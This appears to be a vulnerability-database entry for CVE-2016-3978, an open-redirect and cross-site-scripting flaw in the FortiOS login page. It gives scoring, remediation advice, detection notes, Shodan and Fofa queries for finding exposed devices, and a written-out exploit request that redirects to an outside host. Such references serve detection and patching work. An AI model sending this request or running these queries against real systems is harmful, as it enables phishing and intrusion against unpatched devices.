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CVE-2016-3978: Fortinet FortiOS - Open Redirect/Cross-Site Scripting

TitleFortinet FortiOS - Open Redirect/Cross-Site Scripting
Author0x_Akoko
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, phishing attacks, and potential data theft.
RemediationApply the latest security patches and updates provided by Fortinet to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.05549
CVE IDCVE-2016-3978
CWE IDCWE-79
Shodan Queryhttp.html:"/remote/login" "xxxxxxxx"http.favicon.hash:945408572cpe:"cpe:2.3:o:fortinet:fortios"port:10443 http.favicon.hash:945408572
Fofa Querybody="/remote/login" "xxxxxxxx"icon_hash=945408572
Tags cve2016 cve redirect fortinet fortios seclists vuln

🔍 Vulnerability Description

FortiOS Web User Interface in 5.0.x before 5.0.13, 5.2.x before 5.2.3, and 5.4.x before 5.4.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks or cross-site scripting attacks via the “redirect” parameter to “login.”

🌐 HTTP Request

GET /login?redir=http://www.interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.5.20
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-3978.yaml

🦈 Packet Capture: ⬇️ Download cve-2016-3978.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A